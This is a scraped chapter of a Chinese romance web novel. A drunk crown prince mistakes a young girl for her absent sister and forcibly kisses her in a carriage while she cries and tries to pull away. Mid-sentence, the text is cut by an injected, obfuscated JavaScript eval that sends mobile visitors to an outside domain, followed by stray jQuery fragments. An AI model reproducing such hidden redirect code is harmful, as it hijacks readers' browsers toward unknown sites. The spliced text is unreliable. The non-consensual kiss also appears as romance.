85. 金石拖磨
作品:《栖梧雪》 谢景之目送对方离去,轻掸袍袖,向树下独自嬉戏的少女示意。
“月儿。”
“景之哥哥!”
等了许久的少女如彩云般雀跃奔来,却踉跄踩到裙裾,整个人向前倾去。
“哎呀——”
“仔细脚下。”谢景之急忙搀稳她双臂。
少女绽开笑靥,站稳后急急追问:“方才的舞可入得景之哥哥的眼?”
“翩若游龙,甚好。”谢景之颔首,两人说说笑笑上了马车。他状似随意问道:“月儿,何人教你在此献舞?”
“唔...”少女回想一番,“前日里景之哥哥请的那位教习师傅说,你为筹备姨母寿典,彻夜难眠,太医开了安神汤剂,却不见好。她还讲妙音阁的盈盈姑娘,因着前年的事不肯献艺,月儿想了想,便自请来给姨母跳舞啦...”
原来是荣华宫的手笔,倒是个阳谋——谢景之不动声色地想道。近日为了筹备寿宴而奔命,百密一疏,竟还是教未到场的谢京华摆了一道。
而那千泉教主暗中为他化解这场危机,却绝非出自善意。
他是个精明的商人。一个商人,要的自然是钱货两讫。
六国九州,各分一半...
回想方才那人的话语,谢景之不由心底微悸——
永昭连年国库空虚,父皇偏生处处设障,边关烽火急需军饷,连番寿宴又耗资甚巨。近年天雪山势力在西州如日中天,他原想借无心教的财路破局,未料千泉教主的野心远不止于此。
他竟是图谋整个西州...
今日立妃之事终究太过仓促。然若不行此下策,待父皇圣谕降下,这少女便真要被许至西州。
饶是谢景之,亦无法揣测那位紫衣少女归来之后会如何震怒。
想到那抹紫色倩影,他忽地思绪飘远。
那是酒过三巡之时,少女托腮轻叹:“若娘亲也在,我们母女三人或许会像山下那户人家,守着小院,经营些织布种菜的活计。倒不怕日子清苦些,总归是团团圆圆的。逢年过节,就如现在一般,对月共酌,好不安逸...”
“织布种菜...”谢景之故意揶揄,“不盘算着嫁人么?”
“或许罢?”少女自嘲一笑,“不过纵要论婚嫁,也轮不上我。我自小便是做自幼被娘亲当作男儿教养,家里缺个顶门立户的,便让我学男儿般撑起家业。后来送我去栖...罢了,不提这些。倒是小妹,若能为她觅得良人,娘亲定要欢喜的。”
她垂眸摩挲酒盏,却又浅尝辄止。
“...终究是没走过的路,哪敢想得太真切呢?”
他淡然一笑:“未曾踏足之路,能在心中揣摩也是极好。正如我此生再不能习武,但见你练剑的身姿,仍会觉得欢喜。人存于世,总需存些盼头,我定会竭力帮你找到令堂下落。”
少女颇为真诚应道:“景之,你帮我诸多,我总不知如何感激你...当年母亲悄然离去,却将小妹遗在江家。若非你带她入宫庇护,不知江家那群豺狼又会如何作践...你瞧,想来我生来便是长姊的命。”
“呵。我倒是盼着有个姐姐,奈何上天却只给我这样一个不省心的妹妹,日日都想着如何要我的命。”
他指尖微顿,低语道:“我与月儿...只是机缘使然。或许我并非你想象中那般磊落,也无需你这般感激涕零。”
“君子论迹不论心。”少女停顿片刻,语气愈发坚定,“景之,三年,给我三年,我定能降服江家那些老狐狸。届时江家势力尽归你手,必成强力臂助。”
“——唯独小妹,我只愿她能随心所欲生活,不必如我这般...”
......
马车稳稳当当,他却心神不定。
“景之哥哥?景之哥哥!”少女清脆的嗓音忽将他惊醒。
“…什么?”
“月儿是说,景之哥哥和美人姐姐聊得好生投契,是在说什么呀?是说月儿么?”
谢景之抚了抚她的发丝:“正商量给月儿请位新师父,就请你的美人姐姐来教你,可好?”
“好啊!”江月溶雀跃拍手,“美人姐姐很厉害的!”
谢景之轻笑道:“月儿喜欢他么?”
“当然喜欢!美人姐姐说话风趣,还通晓西州幻戏呢!对了景之哥哥,西州究竟是何处?为何皇帝姨父要我去西州?还有方才为何要行跪...”
谢景之避而不答,转而问道:“月儿,想不想尝尝万福楼新制的琥珀糖葫芦?这就带你去可好?”
小姑娘揉着发酸的腿弯,眼眸却亮晶晶的:“还要吃芙蓉蜜糕、金丝琥珀糖、玉露水晶冻,对了还有前日金嬷嬷说的桂花乳酪卷!”
谢景之摇头闷笑:“月儿,景之哥哥的钱袋子可要被你掏空了。”
“景之哥哥莫要忧心,月儿悄悄存了些体己钱,这次还有姨母赏的金镯,真要短了银钱,月儿便拿去典当——对了对了,月儿可都听见了,那支金凤钗可是要赠予月儿的?”
江月溶目不转睛地盯着谢景之手边木匣,满心惦记着方才惊鸿一瞥的金钗华彩。
谢景之低笑一声,执起那支凤钗,郑重为少女簪在鬓间。
“原是说笑罢了。既合你眼缘,便好生保管着。不必典当,这是母妃...不,这是我赠你的心意。”
凤钗斜簪,流苏摇曳,少女眸中似坠着星子。
“景之哥哥真好。最喜欢景之哥哥了。”
江家女儿素来生得副雪肤花貌的好模样,连那弯柳叶眼的风情都仿佛如出一辙。
谢景之竟看得怔住。
一时间,气氛有些微妙。
半晌,他忽而偏头轻笑:“我倒要听听,你心里还装着多少‘最喜欢’?”
江月溶咬着指尖思忖:“对景之哥哥的喜欢,约莫与阿姐不相上下。”
“那你的美人姐姐呢?”
“就像糖炒栗子、杏仁酥酪,还有茯苓糕一样喜欢!”
谢景之哑然失笑,指尖轻轻梳理她垂落的发丝,温声安抚:
“月儿,最近事务繁多,实在无法常伴你左右。若你不嫌弃东宫清冷,过几日便搬来同住如何?”
“怎会嫌弃?月儿欢喜都来不及呢。”江月溶不假思索地应声,眼眸里漾着盈盈笑意。
正欲开口,忽有寒风卷入车中。谢景之抬眼望去,枯瘦枝桠在车窗外摇曳,分明已是初冬气象。
恍惚中,他竟似见紫衣少女静立枯树之下,眸光淡漠。
他胸口一闷,猛然以丝帕掩唇,咳得难以自抑。
“景之哥哥可是身体不适?”少女明眸中盛满忧虑。
谢景之不着痕迹道:“不妨事。不过节气更迭,着了些凉,倒累得月儿挂心。”
“月儿才没有牵挂呢。”少女面染绯霞,忽又醒神,“既是着凉?景之哥哥素来畏寒,前几日我遣人送来的手炉,可曾用上?”
谢景之一伸手,却覆上腰间那枚温润的白玉佩。不知怎的,他忽将佩饰往衣襟深处掖了掖,转而从腰上摘下那精致过头的雕花小手炉,点头道:“日日带着呢,你瞧。”
江月溶见此情形,眉宇间的忧虑才稍稍褪去。
“景之哥哥,入冬后你房内的炭火可得烧旺些。夜来风寒,万莫敞开窗牖,当心腿疾复发。”
“俱是旧疾了,无碍的。”谢景之温润含笑,眼底却闪过一抹幽光。
——二十岁那年,他遭大皇子构陷,触怒圣颜。寒冬时节,被父皇罚跪于御书房外雪地,整整一日方得赦免。此后高热不退,卧床两月,膝下知觉尽失。幸得母妃从妙法寺请来高僧医治,方得复原。
然每逢凛冬,双膝如针刺蚁噬,稍遇寒气便痛楚难当,直至春阳回暖方渐舒缓。更甚者,此生不得骑马习武。
不过他向来不做亏本的买卖,后来也如愿将大皇子除去。
以双腿换性命,倒是一笔划算的买卖。
少女看他浑不在意,心头忧虑更甚。但转念一想,便说道:“待到冬天,月儿必要寸步不离守着景之哥哥,日日看顾才安心。”
谢景之眼含笑意:“只怕不成,月儿若日日在此,满朝门客怕是要无心议事,只顾看月儿翩然起舞了。”
“好哇,景之哥哥惯会拿我说笑!”月儿佯怒道,“亏月儿这般将你放在心上——”
话刚出口便知失言,双颊飞红,见对方目光灼灼盯着自己,索性抿唇不语。
“殿下,到了。”
马车外,金嬷嬷低声提醒,终是将这异样气氛打断。
不知不觉,二人随着人潮涌至西街。少女驻足望去,正是华灯初上,言笑晏晏,好不热闹。
二人出宫前便更换了服饰,此刻从容漫步于街市之间,恰似一对寻常眷侣。少女额间垂落的珠翳随步轻摇,虽掩住了清丽面容,却遮不住她那红扑扑的脸颊与从未停下的唇齿。
“劳驾取那盏走马灯!”
“杏酪酥也拿三份!”
“这个这个,糖渍梅子,我也全都要买下来!”
随行仆役手中提着的物什愈发多了起来。直到转过街角,少女额间已沁出薄汗。她蓦然望见道旁零星摆着玩意的小摊,目光顿时被彩釉泥塑勾住。
摊前老丈抚须笑道:“这位贵人好眼光,这是今日最后一对磨喝乐。金童降龙,玉女引凤,生来带着龙凤祥瑞,倒是和小姐髻边这枚鸾凤步摇正相称...”
“真的么?”江月溶扑闪着柳眸,偏头欲语,方才惊觉不知何时,身侧那道颀长身影竟换作了含笑垂首的金嬷嬷。
“咦,景之哥哥呢?”
金嬷嬷温声道:“殿下说有些乏累,方才已回了车辇。月溶小姐若已尽兴,咱们也该启程回去了...”
“好吧...”江月溶摩挲着掌中成对的彩绘泥人,终是将其放回摊前。再迎上那摊贩沧桑目光,她自言自语道:
“唔...原想着问问景之哥哥,喜不喜欢这对磨喝乐呢...”
金嬷嬷唯恐这龙啊凤啊的再生事端,遂劝道:“月溶小姐若是喜欢,亲手做一对,岂不更显诚意...”
“嬷嬷此言甚是!”少女明眸闪动,挽起老仆便要离
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461274|166670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去。
“老伯伯,今日采买物件太多,待下回月儿再来收您这磨喝乐喔!”
身后传来摊主豁达笑声:“不妨事!许是贵人的缘分未到...”
“景...”等少女恋恋不舍回到马车,正要得意地举着糖葫芦钻进车厢,却见老车夫急忙摆手示意她安静。
她一挑帘幕,这才望见那玄衣男子已靠着窗棂,沉沉睡去。长睫在他的眼睑处投下淡淡阴翳,显是许久未得好眠。
车厢内弥漫着酒气,少女清楚,这是景之哥哥白日宴时豪饮所致。
江月溶向来对酒气颇为抵触。
她也曾询问金嬷嬷,景之哥哥既需常年服药调理,为何不戒除这伤身的嗜好?
然而金嬷嬷却只答,此乃太子殿下必须周旋的人情世故。
“母妃...”
忽然,男人在睡梦中含糊呓语。
“景之哥哥说什么?”江月溶倾身靠近,却被醺然酒气笼罩。他怀中的手炉烘着暖意,竟让人愈发晕眩。
此时少女才后知后觉地想起,阿姐曾说,生辰之日,当与至亲围坐,笑闹着分食长寿面。偏生今日姨母寿诞独守宫闱,就连最亲近的景之哥哥也未伴其左右。
倒似行出那朱红宫墙,景之哥哥才稍微舒展眉间郁色。
究竟是为什么呢?
“母妃...我不想...”正当此时,男子眉心微蹙,竟似在哀求。
江月溶倏地睁大双眼——原来景之哥哥是在思念娘亲!
她毫不犹豫地张开双臂,紧紧环抱住对方。
“景之哥哥不怕喔...”少女轻抚着酒气萦绕的男子发丝,指尖在墨发间温柔游走。从前每回从噩梦中惊醒,哭闹着追问娘亲去向时,阿姐总会将她搂在怀里,这般细细梳理她的长发,说着“月儿不怕”。
怀中人忽然轻颤,少女仰起脸,正撞见那双墨玉般的漆黑瞳眸。
“你回来了...”男子瞳孔蒙着雾气,嗓音浸透醺然酒意,“终于回来了...”
“是呀,我回来啦!”少女歪头打量略显反常的男子。她虽不明所以,却笑吟吟地晃动着手中物事,“瞧我给你带什么了?”
男子似是微微一笑,竟反手将少女卷进臂弯。未及少女惊呼,那沁着薄凉的唇已落在她颤抖的长睫上。
她慌忙阖紧眼帘,浓烈酒气扑面而来,混着男子衣襟间的兰香,搅得她心口如擂鼓般轻颤。
——景之哥哥,这是在做什么?
她瑟缩着想要后退,却被对方大掌牢牢箍住后脑,动弹不得。
“别动...”
男子低哑的声线里,酒气与热气交错在她眉眼间,宛若幼猫轻挠脚心的触感,惹得她浑身都愈发酥麻。
“你定是怨我,才会归来得这般迟罢?”男子苦涩轻笑,自顾自呢喃着,“我知你定要恼我,可若非这般,如何破这困局?我只盼着你能懂这不得已,你却偏要装糊涂。你哪里晓得,不是要我等你三载,而是求你多给我些时日...待我扫清荆棘,自当...”
他含混不清地呢喃着,未曾察觉怀中少女正被浓烈酒气侵扰,瑟缩着将身子蜷成小小一团。
“景之哥哥...你说什么...月儿听不懂...”
回应她的唯有绵长呼吸。
男子珍重地啄吻少女微湿的眼睫,仿佛捧着易碎的月光。
少女苦恼不已,灵机一动,将已然啃了一口的糖葫芦横亘在两人之间。
“景之哥哥定是馋了。月儿给你便是,莫要这般作弄人...”
男子缓缓松开她,墨眸紧锁那串殷红的糖葫芦,眸底暗潮翻涌。
少女浑然未觉他的异样,只当这招奏效,献宝似的将竹签举高些,甜甜笑道:“呐,这个分你!”
男子怔愣着咬下一颗山楂。
然而下一瞬,他猛地扣住她的后颈,衔着半颗糖果欺身而上。温热的果肉裹着清甜,在纠缠的唇齿间渡进少女口中。
“唔...”少女倏然瞪大柳眸,猝不及防的酸涩自舌尖窜至心头。酥痒感顺着背脊蔓延,惹得她脚趾都蜷成了团。
她不懂景之哥哥为何这般行事,只是心底隐隐觉得难过。
男子眼中翻涌的情绪是那么陌生,仿佛在透过她看着另一个人。
一颗泪珠滚落腮边,转瞬便没入襟前,谁也没有察觉。
男人大掌揽住她的肩头,令唇齿酸涩更甚。
他腰间金丝手炉随着动作轻响。
“叮叮叮——”,似与什么玉器相叩,煞是好听。
少女不曾瞧见,那正是一枚羊脂玉珏。
细碎的衣料摩擦声混着呜咽,尽数湮没在街市喧嚣里。马车周遭侍从皆垂首屏息,待那朱轮华盖稳稳驶入宫城,方暗自舒了口气。
待声息渐隐,金嬷嬷叩了叩窗子,一挑帘幕,却见那少女怀中醉倒的男子,微微一怔。
少女僵坐锦垫,男子伏在她肩头安然酣睡。她凝神屏息如捧薄冰,却不知晓醉卧之人早堕入酩酊幻境,此时除却梦魇,并没有什么能令他惊醒。